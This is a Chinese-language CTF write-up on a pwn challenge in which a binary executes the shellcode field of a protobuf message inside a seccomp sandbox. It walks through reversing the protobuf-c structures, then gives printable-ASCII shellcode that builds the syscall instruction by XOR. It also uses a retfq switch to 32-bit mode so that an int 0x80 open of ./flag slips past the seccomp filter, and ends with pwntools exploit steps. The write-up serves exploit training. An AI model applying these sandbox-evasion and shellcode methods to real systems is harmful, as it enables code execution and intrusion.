只能接受特定格式的msgbot-protobuf+可见字符shellcode
字数 1097 2025-08-22 12:22:48
Protobuf结构体与可见字符Shellcode利用技术详解
一、Protobuf基础
1. Protobuf结构体定义
Protobuf(Protocol Buffers)是Google开发的一种数据序列化协议,其结构体定义示例如下:
syntax = "proto2";
message devicemsg {
required sint64 actionid = 1;
required sint64 msgidx = 2;
required sint64 msgsize = 3;
required bytes msgcontent = 4;
}
2. Protobuf参数结构体
Protobuf参数的结构体定义如下:
struct ProtobufCFieldDescriptor {
const char *name; // 参数名
uint32_t id; // 参数ID
ProtobufCLabel label; // 标签类型
ProtobufCType type; // 参数类型
unsigned quantifier_offset;
unsigned offset;
const void *descriptor;
const void *default_value;
uint32_t flags;
unsigned reserved_flags;
void *reserved2;
void *reserved3;
};
3. 标签类型(Label)
typedef enum {
PROTOBUF_C_LABEL_REQUIRED, // 必须字段(proto2)
PROTOBUF_C_LABEL_OPTIONAL, // 可选字段(proto2)
PROTOBUF_C_LABEL_REPEATED, // 可重复字段
PROTOBUF_C_LABEL_NONE, // proto3默认标签
} ProtobufCLabel;
4. 参数类型(Type)
typedef enum {
PROTOBUF_C_TYPE_INT32, // int32
PROTOBUF_C_TYPE_SINT32, // signed int32
PROTOBUF_C_TYPE_SFIXED32, // signed int32 (4 bytes)
PROTOBUF_C_TYPE_INT64, // int64
PROTOBUF_C_TYPE_SINT64, // signed int64
PROTOBUF_C_TYPE_SFIXED64, // signed int64 (8 bytes)
PROTOBUF_C_TYPE_UINT32, // unsigned int32
PROTOBUF_C_TYPE_FIXED32, // unsigned int32 (4 bytes)
PROTOBUF_C_TYPE_UINT64, // unsigned int64
PROTOBUF_C_TYPE_FIXED64, // unsigned int64 (8 bytes)
PROTOBUF_C_TYPE_FLOAT, // float
PROTOBUF_C_TYPE_DOUBLE, // double
PROTOBUF_C_TYPE_BOOL, // boolean
PROTOBUF_C_TYPE_ENUM, // enumerated type
PROTOBUF_C_TYPE_STRING, // UTF-8 or ASCII string
PROTOBUF_C_TYPE_BYTES, // arbitrary byte sequence
PROTOBUF_C_TYPE_MESSAGE, // nested message
} ProtobufCType;
二、Protobuf版本判定
-
根据结构体参数数量判断:
- proto2比proto3多一个default_value字段
- 检查.data.rel.ro段中结构体名称下方的参数数量与实际是否一致
-
根据参数结构体有无label:
- proto2必须声明label,label值不为3(NONE)
- proto3默认label为NONE(3),且不需要在proto文件中写出
三、Protobuf结构体分析
1. IDA分析示例
.data.rel.ro:0000000000003B80 off_3B80 dq offset aMsgid ; "msgid"
.data.rel.ro:0000000000003B88 db 1 ; id = 1
.data.rel.ro:0000000000003B8C db 3 ; label = none
.data.rel.ro:0000000000003B90 db 3 ; type = int64
...
.data.rel.ro:0000000000003C60 qword_3C60 dq 28AAEEF9h ; 结构体名称
.data.rel.ro:0000000000003C88 dq 38h ; 结构体大小
.data.rel.ro:0000000000003C90 dq 3 ; 字段数 = 实际字段数,是proto3
2. 编写proto文件
根据分析结果编写proto文件:
syntax = "proto3";
message Msgbot {
int64 msgid = 1;
int64 msgsize = 2;
bytes msgcontent = 3;
}
3. 编译proto文件
使用以下命令编译:
python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. bot.proto
生成bot_pb2.py和bot_pb2_grpc.py文件。
四、程序分析
1. 关键检查逻辑
if (msg[0][3] == (void *)0xC0DEFEEDLL &&
msg[0][4] == (void *)0xF00DFACELL) {
v0 = (unsigned int)msg[0][5];
v1 = msg[0][6];
check((__int64)v1, v0);
seccomp((__int64)v1, v0, v2, v3, v4, v5);
if (msg[0][5] <= (char *)&qword_C0 + 7 && v7 <= 0xC7) {
memcpy(dest, *((const void **)msg[0] + 6), (size_t)msg[0][5]);
((void (*)(void))dest)();
}
}
对应关系:
msg[0][3]→ msgidmsg[0][4]→ msgsizemsg[0][5]→ msgcontent长度msg[0][6]→ msgcontent内容
2. Shellcode限制
- 长度限制:不大于0xC7字节
- 字符限制:必须为可见字符(ASCII 0x20-0x7E,不包括0x7F)
- 系统调用限制:仅允许read、write、fstat、alarm、exit_group
五、Shellcode构造技术
1. 绕过系统调用限制
由于syscall指令(0x0f05)不在可见字符范围内,需要通过异或构造:
# 构造syscall指令(0x0f05)
shellcode = b'\x68\x63\x69\x66\x66\x5e' # push 0x66666963; pop rsi
shellcode += b'\x48\x31\x70\x20' # xor qword ptr [rax+0x20], rsi
shellcode += b'\x53\x5f' # push rbx; pop rdi
shellcode += b'\x34\x22' # xor al, 0x22
shellcode += b'\x50\x5e' # push rax; pop rsi
shellcode += b'\x68\x63\x69\x66\x66\x5a' # push 0x66666963; pop rdx
shellcode += b'\x53\x58' # push rbx; pop rax
shellcode += b'\x50' * 8 # push rax (填充)
shellcode += b'\x6c\x6c\x66\x66' # 异或密钥(0x66666c6c ^ 0x66666963 = 0x50f)
2. 架构切换技术
使用retfq指令切换32/64位模式:
push 0x23 ; 32位模式选择子
push next_addr ; 下一条指令地址
retfq ; 切换至32位模式
3. 32位系统调用示例
mov eax, 5 ; open系统调用号
push ecx
pop ebx ; ebx = 0
mov dword ptr [ecx], 0x6c662f2e ; "./fl"
add ecx, 4
mov dword ptr [ecx], 0x6761 ; "ag"
xor ecx, ecx ; flags = 0
xor edx, edx ; mode = 0
int 0x80 ; 32位系统调用
六、完整利用流程
-
构造合法的Protobuf消息:
from bot_pb2 import Msgbot msg = Msgbot() msg.msgid = 0xC0DEFEED msg.msgsize = 0xF00DFACE msg.msgcontent = shellcode serialized = msg.SerializeToString() -
发送消息:
r.sendafter(b'botmsg', serialized) -
第二阶段Shellcode:
shellcode = asm(shellcraft.read(3, 'rsp', 0x30)) # 读取更多数据 shellcode += asm(shellcraft.write(1, 'rsp', 0x30)) # 输出数据 r.send(shellcode)
七、工具与调试技巧
-
pbtk工具:快速获取Protobuf结构体
https://github.com/marin-m/pbtk -
调试技巧:
- 使用
si而非ni单步调试Shellcode - 使用seccomp-tools检查沙箱限制:
r = process(["seccomp-tools", "dump", "./pwn"])
- 使用
-
沙箱检查:
line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000000 A = sys_number 0001: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0003 0002: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0009 0003: 0x15 0x05 0x00 0x00000000 if (A == read) goto 0009 0004: 0x15 0x04 0x00 0x00000001 if (A == write) goto 0009 0005: 0x15 0x03 0x00 0x00000005 if (A == fstat) goto 0009 0006: 0x15 0x02 0x00 0x00000025 if (A == alarm) goto 0009 0007: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0009 0008: 0x06 0x00 0x00 0x00000000 return KILL 0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
八、总结
本技术要点包括:
- Protobuf结构体分析与构造
- 可见字符Shellcode的编码与构造
- 系统调用限制绕过技术
- 32/64位架构切换方法
- 沙箱环境下的利用技术
通过组合这些技术,可以在严格的字符和长度限制下实现有效的漏洞利用。